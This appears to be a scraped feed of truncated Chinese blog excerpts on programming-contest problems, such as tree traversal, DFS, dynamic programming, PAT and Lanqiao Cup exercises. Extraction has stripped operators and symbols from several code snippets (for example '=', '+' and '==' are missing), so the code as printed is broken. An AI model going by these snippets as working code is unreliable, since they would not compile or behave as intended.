二叉树的前序遍历https://leetcode-cn.com/problems/binary-tree-preorder-traversal/ 题目描述&#xff1a; 给你二叉树的根节点 root &#xff0c;返回它节点值的 前序 遍历。 class Solution { public:void preorder(TreeNode *root, vector<int> &res) {if (r…

英语题目翻译—— 166:The Castle

题目&#xff1a;166:The Castle&#xff08;OpenJudge - 166:The Castle&#xff09; 翻译&#xff1a; 1 2 3 4 5 6 7 ############################# 1 # | # | # | | # #####---#####---#---#####---# 2 # # | # # # # # #---#####---#####---#####---# 3 # | | # # # # …

lc53. 最大子数组和(java)

给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的一个连续部分。 示例 1&#xff1a; 输入&#xff1a;nums [-2,1,-3,4,-1,2,1,-5,4] 输出&#xff1a;…

深度优先搜索算法(DFS)

本文目录1. DFS算法一般步骤2. 数独3. 部分和4. 水洼数目5. n皇后问题6. 素数环7. 困难的串1. DFS算法一般步骤 void dfs(int step) {if(边界成立){走到最深处。。。。。。return;}for(尝试每一种可能的状态){if(如果这种状态可行){ //剪枝把这种可能的状态标记&#xff0c;表…

C语言 数据结构 之 链式栈

栈的链式存储结构简称为 链式栈 链式栈是通过单链表来实现的。每次入栈一个元素&#xff0c;向链表中添加一个节点(相当于头插法)&#xff0c;出栈一个元素&#xff0c;释放一个节点。 链式栈是通过单链表来实现的。每次入栈一个元素&#xff0c;向链表中添加一个节点&#xf…

247. 线段上格点的个数(挑战程序设计竞赛)

给定平面的两个格点 P1​(x1​,y1​) 和 P2​(x2​,y2​) , 线段 P1​P2​ 上, 除 P1​ 和 P2​ 外一种有几个格点? 输入 输入包含 4 个整数,分别表示 x1​,y1​,x2​,y2​−109≤x1​,y1​,x2​,y2​≤109 输出 输出一个整数,表示格点的个数 样例 1 输入 1 11 5 3输出 …

PAT乙级1001 害死人不偿命的(3n+1)猜想

#include<iostream> using namespace std; int main(){int n;int counts0;cin>>n;while (n!1){if (n%20){n n/2;}else{n(3*n1)/2;}counts1;}cout<<counts;return 0; } GitHub - ZouJiu1/PAT: 浙江大学PAT题目解答内容https://github.com/ZouJiu1/PAT

【从0到1冲刺蓝桥杯国赛】每日一练——零钱兑换

零钱兑换https://leetcode-cn.com/problems/coin-change/ 题目描述&#xff1a; 给你一个整数数组 coins &#xff0c;表示不同面额的硬币&#xff1b;以及一个整数 amount &#xff0c;表示总金额。 计算并返回可以凑成总金额所需的 最少的硬币个数 。如果没有任何一种硬币…

蓝桥杯每日一练——对称二叉树

对称二叉树https://leetcode-cn.com/problems/symmetric-tree/ 题目描述&#xff1a; 给你一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 思路分析&#xff1a; 判断是不是对称二叉树&#xff0c;可是设置两个指针同时指向根节点&#xff0c;一个向左一个向右&a…

常用数论算法

本文目录1. 天平称重问题2. Nim游戏3. 阶梯尼姆博弈问题4. 高僧斗法5. 欧几里得算法6. 扩展欧几里得算法7. 一步之遥8. 青蛙约会9. 模的逆元10. 同余方程组11. 素数_埃氏筛法12. 快速幂运算1. 天平称重问题 问题描述&#xff1a; 用天平称重时&#xff0c;我们希望用尽可能少的…

1月17日学习总结

今天写了快排的代码&#xff0c;学习了有关树的知识 #include<iostream> using namespace std; int a[100000],n; void fast(int a[],int left,int right) {int lleft,rright,ma[left],t;if(l>r)return ;while(l<r){while(l<r&&a[r]>m) r--;//从右往…

PTA L1-04 找字符串中的最大字符和最大字符第一次出现的位置 (10 分)

题目&#xff1a; 输入一个数字字符串&#xff0c;输出数字字符中最大的数字字符和该字符第一次出现的位置索引。 输入格式&#xff1a; 一个字符串。 输出格式&#xff1a; 一个整数。 输入样例: 在这里给出一组输入。例如&#xff1a; 12345 输出样例: 在这里给出相…

leetcode66. 加一(java)特殊解法

给定一个由 整数 组成的 非空 数组所表示的非负整数&#xff0c;在该数的基础上加一。 最高位数字存放在数组的首位&#xff0c; 数组中每个元素只存储单个数字。 你可以假设除了整数 0 之外&#xff0c;这个整数不会以零开头。 示例 1&#xff1a; 输入&#xff1a;digits …

C++笔记 STL list容器的反转和排序(升序和降序)

功能描述&#xff1a; 将容器中的元素反转&#xff0c;以及将容器中的数据进行排序 函数原型&#xff1a; reverse(); //反转链表 sort(); //链表排序 sort 排序算法是快速排序&#xff0c;必须支持随机存储的数据结构才能实现 标准算法库里面的全局函数 sort 不支持随机访…

洛谷 P1170 兔八哥与猎人

题目描述 兔八哥躲藏在树林旁边的果园里。果园有 M \times NMN 棵树&#xff0c;组成一个 MM 行 NN 列的矩阵&#xff0c;水平或垂直相邻的两棵树的距离为 11。兔八哥在一棵果树下。 猎人背着猎枪走进了果园&#xff0c;他爬上一棵果树&#xff0c;准备杀死兔八哥。 如果猎人…

【从0到1冲刺蓝桥杯国赛】每日一练——股票问题

股票问题https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock/ 题目描述&#xff1a; 思路分析&#xff1a; C实现&#xff1a; class Solution { public:int maxProfit(vector<int>& prices) {int n prices.size();if (n 0) return 0; // 边界…

【从0到1冲刺蓝桥杯国赛】每日一练——向数组中追加 K 个整数

向数组中追加k个整数https://leetcode-cn.com/problems/append-k-integers-with-minimal-sum/ 题目描述&#xff1a; 题目分析&#xff1a; 寻找空挡&#xff0c;第一个是从1到数组第一个数减1的空挡&#xff0c;第二种是数组中每个数之间的空挡&#xff0c;第三种是数组最后…

蓝桥杯每日一练——P1048 [NOIP2005 普及组] 采药

题目链接 [NOIP2005 普及组] 采药 - 洛谷https://www.luogu.com.cn/problem/P1048 题目描述 辰辰是个天资聪颖的孩子&#xff0c;他的梦想是成为世界上最伟大的医师。为此&#xff0c;他想拜附近最有威望的医师为师。医师为了判断他的资质&#xff0c;给他出了一个难题。医师…

算法竞赛动态规划篇——最长上升子序列模型(一)

最长上升子序列模型 题目描述 给定一个长度为 NN 的数列&#xff0c;求数值严格单调递增的子序列的长度最长是多少。 思路分析 分析&#xff1a;最长上升子序列模型经典问题&#xff0c;经典解法。 C实现 #include <bits/stdc.h>using namespace std;const int N 101…

【从0到1冲刺蓝桥杯国赛】每日一练

目录 欧几里得算法 质数筛 欧拉函数 矩阵乘法的实现 欧几里得算法 欧几里得算法又称辗转相除法。该算法用来快速计算2个整数的最大公约数 公式&#xff1a;gcd(a,b)gcd(b,a mod b) int gcd(int a, int b) {if (b 0)return a;return gcd(b, a % b); } 计算最小公倍数也通…

PAT乙级 1070 结绳

PAT乙级 1070 结绳 #include<iostream> #include<algorithm> #include<vector> #include<string> #include<map> #include<set> #include<bits/stdc.h>using namespace std;bool compare(const int a, const int b){return a<b;…

PAT甲级 1014 Waiting in Line

排队问题要注意最开始队列要特殊处理&#xff0c;当线区内部人不满时&#xff0c;直接顺序添人排队&#xff0c;不用考虑队列的长度&#xff0c;只有线区填满以后&#xff0c;才开始考虑队列的长度&#xff0c;及时将人补到队列长度最短的地方&#xff1b;而且还要注意队列第一…

cpp 排序算法

插入排序 链表的插入排序 (1) Insertion Sort List - LeetCode 算法策略&#xff1a; 链表分有序无序&#xff0c;依次从无序数组中移除元素&#xff0c;插入业已有序的链表中的正确位置直至无序链表为空。 复杂度分析&#xff1a; n轮处理&#xff1a; 移除-O&#xff0…

蓝桥杯-2013省赛-排他平方数

蓝桥杯-2013省赛-排他平方数 题目描述 小明正看着 203879 这个数字发呆。原来&#xff0c;203879 * 203879 41566646641这有什么神奇呢&#xff1f;仔细观察&#xff0c;203879 是个6位数&#xff0c;并且它的每个数位上的数字都是不同的&#xff0c;并且它平方后的所有数位…

【从0到1冲刺蓝桥杯国赛】每日一练——交错字符串

交错字符串https://leetcode-cn.com/problems/interleaving-string/ 题目描述&#xff1a; 思路分析&#xff1a; leetcode题解&#xff1a; class Solution { public:bool isInterleave(string s1, string s2, string s3) {auto f vector < vector <int> > (s…

整除序列(蓝桥杯C/C++B组真题详解)

题目&#xff1a; 问题描述 有一个序列&#xff0c;序列的第一个数是 n&#xff0c;后面的每个数是前一个数整除 2&#xff0c;请输出这个序列中值为正数的项。 输入格式 输入一行包含一个整数 n。 输出格式 输出一行&#xff0c;包含多个整数&#xff0c;相邻的整数之间用一…

【从0到1冲刺蓝桥杯国赛】每日一练——三角形最小路径和(数字三角形)

三角形最小路径和&#xff08;数字三角形&#xff09;https://leetcode-cn.com/problems/triangle/ 题目描述&#xff1a; 思路分析&#xff1a; 跟数字三角形本质上是同一道题目&#xff0c;数字三角形是求三角形的路径最大和&#xff0c;本题目是求最小路径和&#xff0c;…

【从0到1冲刺蓝桥杯国赛】每日一练——分割等和子集

力扣https://leetcode-cn.com/problems/partition-equal-subset-sum/ 题目描述 题目分析 这道题其实用暴力也能做&#xff0c;回溯来实现&#xff0c;但是时间复杂度太高&#xff0c;AC不了&#xff1b;还是dp来做比较合适&#xff0c;这道题其实可以转化为01背包来做&#…

【从0到1冲刺蓝桥杯国赛】每日一练——目标和

题目链接 力扣https://leetcode-cn.com/problems/target-sum/ 题目描述 题目分析 每个元素仅取一次&#xff0c;01背包变形 C实现 class Solution { public:int findTargetSumWays(vector<int>& nums, int target) {int sum 0;for(int i 0; i < nums.si…

蓝桥杯最大降雨量

题目 由于沙之国长年干旱&#xff0c;法师小明准备施展自己的一个神秘法术来求雨。 这个法术需要用到他手中的49 张法术符&#xff0c;上面分别写着1 至49 这49 个数字。法术一共持续7 周&#xff0c;每天小明都要使用一张法术符&#xff0c;法术符不能重复使用。每周&#xf…

蓝桥杯每日一练——按摩师

按摩师https://leetcode-cn.com/problems/the-masseuse-lcci/ 题目描述&#xff1a; 一个有名的按摩师会收到源源不断的预约请求&#xff0c;每个预约都可以选择接或不接。在每次预约服务之间要有休息时间&#xff0c;因此她不能接受相邻的预约。给定一个预约请求序列&#x…

houdini 蜡烛

candle_哔哩哔哩_bilibili 用houdini制作蜡烛烛火抖动和灯芯的方法_哔哩哔哩_bilibili 使用 sphere polygonp实现 使用pyro 实现 3 如有冒犯 敬请告之&#xff0c;侵删

蓝桥杯 卡片问题 c++

备战蓝桥杯打卡 基本的思想就是定义一个容器来表示从0到9各2021张 然后开始思考摆放方式&#xff0c;从个位到十位&#xff0c;到百位&#xff0c;然后依次减去需要的卡片 最后得出结果 #include<iostream> using namespace std;const int M 10; const int N 2021; …

蓝桥杯——基础练习——Fibonacci数列

package com.study.蓝桥杯.基础练习;/* 问题描述 Fibonacci数列的递推公式为&#xff1a;FnFn-1Fn-2&#xff0c;其中F1F21。当n比较大时&#xff0c;Fn也非常大&#xff0c;现在我们想知道&#xff0c;Fn除以10007的余数是多少。输入格式 输入包含一个整数n。 输出格式 输出一…

蓝桥杯 --- 递归与递推

蓝桥杯 --- 递归与递推1. 递归92. 递归实现指数型枚举94. 递归实现排列型枚举1. 递归 int f(int n) {f(n - 1) }经典应用&#xff1a;斐波那契数列 1 2 3 5 8 13 21 34 55 递归公式&#xff1a;f(n) f(n - 1) f(n - 2) n > 3递归边界&#xff1a;if(n 1) return 1; if(…

蓝桥杯2017年第八届真题-k倍区间

蓝桥杯2017年第八届真题-k倍区间 题目链接 给定一个长度为N的数列&#xff0c;A1, A2, … AN&#xff0c;如果其中一段连续的子序列Ai, Ai1, … Aj(i < j)之和是K的倍数&#xff0c;我们就称这个区间[i, j]是K倍区间。 你能求出数列中总共有多少个K倍区间吗&#xff1f; …

PAT甲级 1016 Phone Bills

先排序&#xff0c;然后对照相应的名称&#xff0c;进行输出要注意计算时间和费用 #include<iostream> #include<algorithm> #include<vector> #include<string> #include<map> #include<set> #include<bits/stdc.h>using namespa…

ACM/蓝桥杯基础算法——二分

前言&#xff1a; &#x1f601;主页&#xff1a;战士小小白的博客 &#x1f343;年级&#xff1a;大二学生 &#x1f3c6;爱好&#xff1a;coding、足球&#xff08;前青岛市足协运动员&#xff09; &#x1f344;主要内容&#xff1a;算法、计算机核心课程知识点、有趣黑科技…

蓝桥杯 错误票据

原题链接: AcWing 1204. 错误票据 - AcWinghttps://www.acwing.com/activity/content/code/content/1981205/ 思路: 本题思路很简单&#xff0c;把所有输入的数存到数组里&#xff0c;排序&#xff0c;然后遍历一遍就行了。判重的话就开个新数组记录一下每个数的出现次数即可…

【C语言】位段(实例分析)

开门见山的说&#xff1a; 位段 位段的声明和结构是类似的&#xff0c;目前依靠结构体进行声明但有两个不同&#xff1a; 1.位段的成员必须是 int、unsigned int 或signed int 。 2.位段的成员名后边有一个冒号和一个数字。位段声明 struct hu {int a:12;int b:10;int c:10; }…

201709-4 试题名称: 通信网络100分

问题描述 某国的军队由N个部门组成&#xff0c;为了提高安全性&#xff0c;部门之间建立了M条通路&#xff0c;每条通路只能单向传递信息&#xff0c;即一条从部门a到部门b的通路只能由a向b传递信息。信息可以通过中转的方式进行传递&#xff0c;即如果a能将信息传递到b&#x…

蓝桥杯历年真题及题解

文章目录更新中...蓝桥杯历年真题题解--2020年Java A组Java B组更新中… 蓝桥杯历年真题题解–2020年 蓝桥杯历年真题题解----2020年 蓝桥杯历年真题题解----2020年-- 排序 蓝桥杯历年真题题解----2020年-- 跑步锻炼 蓝桥杯历年真题题解----2020年-- 蛇形填数 蓝桥杯历年真题…

第十届蓝桥杯省赛B组题解记录

1.组队 思路&#xff1a;从每个位置可以选取的人选入手&#xff0c;每个人选不可重复&#xff0c;组合求最大。 方法一&#xff1a;深搜dfs #include<bits/stdc.h> using namespace std; int team[20][6],maxs0,vis[20]; void dfs(int sum,int n) //sum为出场运动员的…

c++ 摇摆序列 (贪心+状态自动机)

一个整数序列&#xff0c;如果相邻两个元素差是正负交替&#xff0c;则该序列为摇摆序列&#xff0c; 小于2个元素并且不相等&#xff0c;序列直接是摇摆序列 如 序列[1,7,4,9,2,5] 相邻元素差(6,-3,5,-7,3)&#xff0c;是摇摆序列 序列[1,4,7,2,5] 相邻元素差(3,3,-5,3)不是摇…

c++素数环 不是规定1开头

整体思路就是普通的dfs&#xff0c;只是判断条件多了一个素数&#xff0c;如果出了问题&#xff0c;可以按照正常dfs修改&#xff0c;本人初学dfs&#xff0c;代码可能有问题 #include<iostream> using namespace std; const int N 999; int a[N];//保存结果 int vis[N…

dfs全排列

#include<iostream> #include<algorithm> using namespace std; const int maxn 20; int arr[maxn]; //这n个数字有哪几个 如1 2 3 int vis[maxn]; //判断这个数字是否被使用 int n;//表示有n个数 比如有3个数字 int stc[maxn];//保存排列的结果&#xff0c;这…

双指针算法的巧妙运用

目录 用对撞指针反转一个数组 快慢指针&#xff1a; 1.寻找链表中间节点 2.删除链表倒数第k个节点 用对撞指针反转一个数组 例&#xff1a; 输入&#xff1a;5 1 2 3 4 5 输出&#xff1a;5 4 3 2 1 #include <iostream> using namespace std;int main() {int n 0;i…

正整数分解-深度搜索优先DFS 递归函数实现

正整数分解 题目编号&#xff1a;Exp08-Basic01&#xff0c;GJBook3-12-05 题目名称&#xff1a;正整数分解 题目描述&#xff1a;正整数n&#xff0c;按第一项递减的顺序依次输出其和等于n的所有不增的正整数和式。 输入&#xff1a;一个正整数n&#xff08;0<n≤15&#x…

吉林大学超星MOOC学习通高级语言程序设计 C++ 实验04 数组及其在程序设计中的应用(2021级)(3)

11.字符串反序 题目编号&#xff1a;Exp04-Basic10&#xff0c;GJBook3-06-12 题目名称&#xff1a;字符串反序 问题描述&#xff1a;编写程序&#xff0c;将给定的字符串反序输出。 输入&#xff1a;一个长度不超过255的字符串&#xff0c;字符串中可能含有空白字符。 输出&am…

吉林大学超星MOOC学习通高级语言程序设计 C++ 实验04 数组及其在程序设计中的应用(2021级)(2)

这几道题的技巧性比较强&#xff0c;需要大家静下心来思考和理解 6. 转移0元素 题目编号&#xff1a;Exp04-Basic05&#xff0c;GJBook3-06-06 题目名称&#xff1a;转移0元素 题目描述&#xff1a;编写程序&#xff0c;不使用其他辅助数组&#xff0c;把给定整型数组中所有0元…

36问题 E: 朋友

题目描述 经过六年的努力&#xff0c;小明终于被一所知名中学录取。优秀的小明总是对一些奇奇怪怪的事情感兴趣&#xff0c;这次他想知道谁在这所新学校拥有的朋友最多&#xff0c;由于大家都才刚报到&#xff0c;所以小明只知道大家两两之间是否是朋友关系。 输入 的第一行有…

分数统计(并查集+高精度)

题目描述 在统计完朋友情况之后&#xff0c;小明又对大家的毕业学校产生兴趣&#xff0c;但是他觉得单纯的统计人数是一件非常无聊的事情&#xff0c;于是他设计了一个算法&#xff0c;同一所学校毕业的学生&#xff0c;第1个将获得1分&#xff0c;第2个获得2分&#xff0c;第3…

JAVA基础练习——30题

目录 一、闰年的判断 二、01子串 三、字母图形 四、数列特征 五、查找整数 六、杨辉三角形 七、特殊的数字 八、回文数 九、特殊回文数 十、十进制转十六进制 十一、十六进制转十进制 十二、十六进制转八进制 十三、数列排序 十四、时间转换 十五、字符串对比 …

单词分析成绩统计

题目&#xff1a; 题目描述 小蓝正在学习一门神奇的语言&#xff0c;这门语言中的单词都是由小写英文字母组 成&#xff0c;有些单词很长&#xff0c;远远超过正常英文单词的长度。小蓝学了很长时间也记不住一些单词&#xff0c;他准备不再完全记忆这些单词&#xff0c;而是根据…

历届试题 k倍区间

问题描述 给定一个长度为N的数列&#xff0c;A1, A2, ... AN&#xff0c;如果其中一段连续的子序列Ai, Ai1, ... Aj(i < j)之和是K的倍数&#xff0c;我们就称这个区间[i, j]是K倍区间。   你能求出数列中总共有多少个K倍区间吗&#xff1f; 输入格式 第一行包含两个整数N…

历届试题 对局匹配

问题描述 小明喜欢在一个围棋网站上找别人在线对弈。这个网站上所有注册用户都有一个积分&#xff0c;代表他的围棋水平。   小明发现网站的自动对局系统在匹配对手时&#xff0c;只会将积分差恰好是K的两名用户匹配在一起。如果两人分差小于或大于K&#xff0c;系统都不会将…

第九届蓝桥杯省赛C++B组题-----等差数列

第九届蓝桥杯CB组题-----等差数列 题目描述 数学老师给小明出了一道等差数列求和的题目。但是粗心的小明忘记了一 部分的数列&#xff0c;只记得其中 N 个整数。 现在给出这 N个整数&#xff0c;小明想知道包含这 N个整数的最短的等差数列有几项&#xff1f; 输入描述 输入…

第十届蓝桥杯省赛C++B组题特别数的和

第十届蓝桥杯省赛CB组题-------特别数的和 题目描述 小明对数位中含有 2、0、1、9 的数字很感兴趣&#xff08;不包括前导 0&#xff09;&#xff0c;在 1 到 40 中这样的数包括 1、2、9、10 至 32、39 和 40&#xff0c;共 28 个&#xff0c;他们的和是 574。 请问&#xf…

第十一届蓝桥杯C++B组-字符计数题

题目描述&#xff1a; 给定一个单词&#xff0c;请计算这个单词中有多少个元音字母&#xff0c;多少个辅音字母。 元音字母包括 a, e, i, o, u&#xff0c;共五个&#xff0c;其他均为辅音字母。&#xff08;填空题&#xff09; #include<iostream> #include<strin…

第十一届蓝桥杯-C++B组门牌制作题

题目描述&#xff1a; 小蓝要为一条街的住户制作门牌号。 这条街一共有 2020 位住户&#xff0c;门牌号从 1 到 2020 编号。 小蓝制作门牌的方法是先制作 00 到 99 这几个数字字符&#xff0c;最后根据需要将字符粘贴到门牌上&#xff0c;例如门牌 1017 需要依次粘贴字符 1、…

10:矩阵转置http://www.noi.openjudge.cn/

10:矩阵转置 查看提交统计提问 总时间限制: 1000ms 内存限制: 65536kB 描述 输入一个n行m列的矩阵A&#xff0c;输出它的转置AT。 输入 第一行包含两个整数n和m&#xff0c;表示矩阵A的行数和列数。1 < n < 100&#xff0c;1 < m < 100。 接下来n行&#…

02:同行列对角线的格子http://www.noi.openjudge.cn/

02:同行列对角线的格子 查看提交统计提问总时间限制: 1000ms 内存限制: 65536kB 描述 输入三个自然数N&#xff0c;i&#xff0c;j &#xff08;1<i<N&#xff0c;1<j<N&#xff09;&#xff0c;输出在一个N*N格的棋盘中&#xff08;行列均从1开始编号&#xff0…

题目 E: 过河卒(NOIP2002PJT4)佐助题库http://www.12345code.com/

佐助题库 题目题目类别状态在线考试专题训练班级排名[题目状态排名OI排名考试统计] yzc30 题目描述 棋盘上A点有一个过河卒&#xff0c;需要走到目标B点。卒行走的规则&#xff1a;可以向下、或者向右行走。同时在棋盘上C点有一个对方的马&#xff0c;该马所在的点和所有跳跃…

1289:拦截导弹(信息学奥赛一本通http://ybt.ssoier.cn:8088/problem_show.php?pid=2060)

1289&#xff1a;拦截导弹 时间限制: 1000 ms 内存限制: 65536 KB 提交数: 7571 通过数: 4877 【题目描述】 某国为了防御敌国的导弹袭击&#xff0c;发展出一种导弹拦截系统。但是这种导弹拦截系统有一个缺陷&#xff1a;虽然它的第一发炮弹能够到达任意的高度&a…

1186:出现次数超过一半的数(信息学奥赛一本通http://ybt.ssoier.cn:8088/problem_show.php?pid=2060)

1186&#xff1a;出现次数超过一半的数 时间限制: 1000 ms 内存限制: 65536 KB 提交数: 19051 通过数: 8799 【题目描述】 给出一个含有n&#xff08;0 < n < 1000&#xff09;个整数的数组&#xff0c;请找出其中出现次数超过一半的数。数组中的数大于-50且…

蓝桥杯专题-试题版含答案-【猴子吃桃问题】【小光棍数】【九九乘法表】【谁是最好的Coder】

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…

力扣(每日一题)—— 838. 推多米诺

&#x1f33a;题目描述 838. 推多米诺 &#x1f33a;解题思路 如果一个牌倒在了另外一个已经倒了的牌上&#xff0c;不会给它施加任何力。换句话说&#xff1a; 一个推倒了的牌&#xff08;L或R&#xff09;只能对另一个站着的牌&#xff08;.&#xff09;起作用。 从左往右依…

PTA天梯赛 L1-069 胎压监测 (15 分) 详解

小轿车中有一个系统随时监测四个车轮的胎压&#xff0c;如果四轮胎压不是很平衡&#xff0c;则可能对行车造成严重的影响。 让我们把四个车轮 —— 左前轮、右前轮、右后轮、左后轮 —— 顺次编号为 1、2、3、4。本题就请你编写一个监测程序&#xff0c;随时监测四轮的胎压&…

PTA天梯赛 L1-068 调和平均 (10 分) 详解

N 个正数的算数平均是这些数的和除以 N&#xff0c;它们的调和平均是它们倒数的算数平均的倒数。本题就请你计算给定的一系列正数的调和平均值。 输入格式&#xff1a; 每个输入包含 1 个测试用例。每个测试用例第 1 行给出正整数 N (≤1000)&#xff1b;第 2 行给出 N 个正数…

PTA 天梯赛 L1-065 嫑废话上代码 (5 分) 详解

Linux 之父 Linus Torvalds 的名言是&#xff1a;“Talk is cheap. Show me the code.”&#xff08;嫑废话&#xff0c;上代码&#xff09;。本题就请你直接在屏幕上输出这句话。 输入格式&#xff1a; 本题没有输入。 输出格式&#xff1a; 在一行中输出 Talk is cheap. …

L1-055 谁是赢家 (10 分) 天梯赛 详解

某电视台的娱乐节目有个表演评审环节&#xff0c;每次安排两位艺人表演&#xff0c;他们的胜负由观众投票和 3 名评委投票两部分共同决定。规则为&#xff1a;如果一位艺人的观众票数高&#xff0c;且得到至少 1 名评委的认可&#xff0c;该艺人就胜出&#xff1b;或艺人的观众…

L1-030 一帮一 (15 分) 简单易懂

L1-030 一帮一 (15 分) “一帮一学习小组”是中小学中常见的学习组织方式&#xff0c;老师把学习成绩靠前的学生跟学习成绩靠后的学生排在一组。本题就请你编写程序帮助老师自动完成这个分配工作&#xff0c;即在得到全班学生的排名后&#xff0c;在当前尚未分组的学生中&…

L1-028 判断素数 (10 分) 简单易懂

本题的目标很简单&#xff0c;就是判断一个给定的正整数是否素数。 输入格式&#xff1a; 输入在第一行给出一个正整数N&#xff08;≤ 10&#xff09;&#xff0c;随后N行&#xff0c;每行给出一个小于231的需要判断的正整数。 输出格式&#xff1a; 对每个需要判断的正整…

蓝桥杯第十三届 C/C++ B组真题

第十三届蓝桥杯大赛软件赛省赛 C/C 大学 B 组 010101101000000 010110010010000 011000110010000 100010110010000 011001000110000 100011000110000 100100010110000 010110100000100 011001001000100 100011001000100 100100011000100 011010000010100 100100100010100 10100…

蓝桥杯每日一练——翻转二叉树

翻转二叉树https://leetcode-cn.com/problems/invert-binary-tree/ 题目描述&#xff1a; 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 class Solution { public:TreeNode* invertTree(TreeNode* root) {if(rootnullptr){return nul…

《程序设计基础》 第十一章 指针进阶 6-5 查找子串 (20 分)

本题要求实现一个字符串查找的简单函数。 函数接口定义&#xff1a; char *search( char *s, char *t ); 函数search在字符串s中查找子串t&#xff0c;返回子串t在s中的首地址。若未找到&#xff0c;则返回NULL。 裁判测试程序样例&#xff1a; #include <stdio.h> …

【从0到1冲刺蓝桥杯国赛】每日一练——打家劫舍

打家劫舍https://leetcode-cn.com/problems/house-robber/ 题目描述&#xff1a; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相邻的房屋在…

第8届蓝桥杯Java组省赛

A. 购物单 题目描述&#xff1a; 题目描述 小明刚刚找到工作&#xff0c;老板人很好&#xff0c;只是老板夫人很爱购物。 老板忙的时候经常让小明帮忙到商场代为购物。小明很厌烦&#xff0c;但又不好推辞。 这不&#xff0c;XX大促销又来了&#xff01;老板夫人开出了长长的购…

【从0到1冲刺蓝桥杯】——不同的二叉搜索树Ⅱ

不同的二叉搜索树Ⅱhttps://leetcode-cn.com/problems/unique-binary-search-trees-ii/ 题目描述&#xff1a; 给你一个整数 n &#xff0c;请你生成并返回所有由 n 个节点组成且节点值从 1 到 n 互不相同的不同 二叉搜索树 。可以按 任意顺序 返回答案。 解题思路&#xff1a…

设计一个学生学籍管理系统

本人也是一个代码小白&#xff0c;这个代码本人知道很多修改和完善的地方&#xff0c;还望看到的大佬能留下斧正点&#xff01;感谢感谢&#xff01; [题目] 学生信息包括&#xff1a;姓名、学号、性别和英语、数学、程序设计、体育成绩。从键盘输入数据&#xff0c;建立数据…

小染的【快速幂 】(原始代码)

【最贴近原理的代码&#xff0c;用于理解快速幂】 【小染的另一篇代码有位运算优化后的代码】 #include<bits/stdc.h> using namespace std;int main()//a^b {int a,b,s1;cin>>a>>b;while(b!0){if(b%21)//如果指数为奇数 { ss*a;//剩下来的乘入s内 b/2;//指…

AcWing 798. 差分矩阵

输入一个n行m列的整数矩阵&#xff0c;再输入q个操作&#xff0c;每个操作包含五个整数x1, y1, x2, y2, c&#xff0c;其中(x1, y1)和(x2, y2)表示一个子矩阵的左上角坐标和右下角坐标。 每个操作都要将选中的子矩阵中的每个元素的值加上c。 请你将进行完所有操作后的矩阵输出。…

竞赛通知|第十三届蓝桥杯大赛来啦!

第十三届蓝桥杯大赛 报名截止日期&#xff1a;2021年12月17日 组委会联系方式&#xff1a; 咨询电话&#xff1a;4006-588-662 电子邮箱&#xff1a;lanqiaolanqiao.cn 中心赛事监督&#xff1a;010-68208714 报名网站&#xff1a;dasai.lanqiao.cn 大赛官网&#xff1a;w…

蓝桥杯:小平方

在C/C里&#xff0c;我们通常避免除法&#xff0c;因为除法会向下取整&#xff0c;去除小数导致精度的丢失。 #include<iostream>using namespace std;int n, res;int main() {cin >> n;int cnt 0;for (int i1; i < n; i ){if (i*i % n * 2 < n){cnt ;}}co…

ACM/蓝桥杯动态规划篇——背包问题

01背包问题 有 NN 件物品和一个容量是 V 的背包。每件物品只能使用一次。 第 ii 件物品的体积是 vi&#xff0c;价值是 wi。 求解将哪些物品装入背包&#xff0c;可使这些物品的总体积不超过背包容量&#xff0c;且总价值最大。 输出最大价值。 #include <bits/stdc.h>us…

bitset补码

int main() { ll n;cin>>n;bitset<32>bt(n);//数值 &#xff0c;32是位数 cout<<bt; }

PAT甲级 1015 Reversible Primes

update202302&#xff0c;素数定义是在10进制&#xff0c;所以要转到10进制判断是否是素数 #include<iostream> #include<vector> #include<cmath> #include<algorithm> using namespace std; bool isprime(int a) {if(a<1) return false;for(int …

指针的便捷好处

我们是无法对一个数组直接赋值的&#xff0c;但是用指针做的伪数组却可以做到 #include<stdio.h>int main() { char *b;//把它换成b[4]铁定报错b"5665";puts(b); }

河南农业大学冬令营第23组题解

A - 雷同检测 #include<bits/stdc.h> using namespace std; string str1,str2; int main() { int i; getline(cin,str1);getline(cin,str2);for(i0;i<str1.size();i) {if(str1[i]str2[i]) cout<<i1<<" "; }return 0; } B - 首字母大写 #inc…

小染的质因数

1002*2*5*5&#xff1b; 质因数为 2,2,5,5(质因子不包括1和自身) 全部质因子 1002*2*5*5 #include<bits/stdc.h> using namespace std; int zhi[1000];int main() {int a,j0;cin>>a;for (int i2;i<a;i) {while (a%i0){ zhi[j]i;aa/i;} } /打印出质因子 for(…

蓝桥杯官网练习题(地址转换)

题目描述 Excel 是最常用的办公软件。每个单元格都有唯一的地址表示。比如&#xff1a;第 12 行第 4 列表示为&#xff1a;"D12"&#xff0c;第 5 行第 255 列表示为"IU5"。 事实上&#xff0c;Excel 提供了两种地址表示方法&#xff0c;还有一种表示法叫…

1231. 航班时间(模拟)

1231. 航班时间 小 h 前往美国参加了蓝桥杯国际赛。 小 h 的女朋友发现小 h 上午十点出发&#xff0c;上午十二点到达美国&#xff0c;于是感叹到“现在飞机飞得真快&#xff0c;两小时就能到美国了”。 小 h 对超音速飞行感到十分恐惧。 仔细观察后发现飞机的起降时间都是…

【蓝桥杯真题】包子凑数(裴蜀定理、动态规划、背包问题)

题意 小明几乎每天早晨都会在一家包子铺吃早餐。他发现这家包子铺有N种蒸笼&#xff0c;其中第i种蒸笼恰好能放Ai个包子。每种蒸笼都有非常多笼&#xff0c;可以认为是无限笼。 每当有顾客想买X个包子&#xff0c;卖包子的大叔就会迅速选出若干笼包子来&#xff0c;使得这若干…

《程序设计基础》 第十一章 指针进阶 7-3 解密英文藏头诗 (15 分)

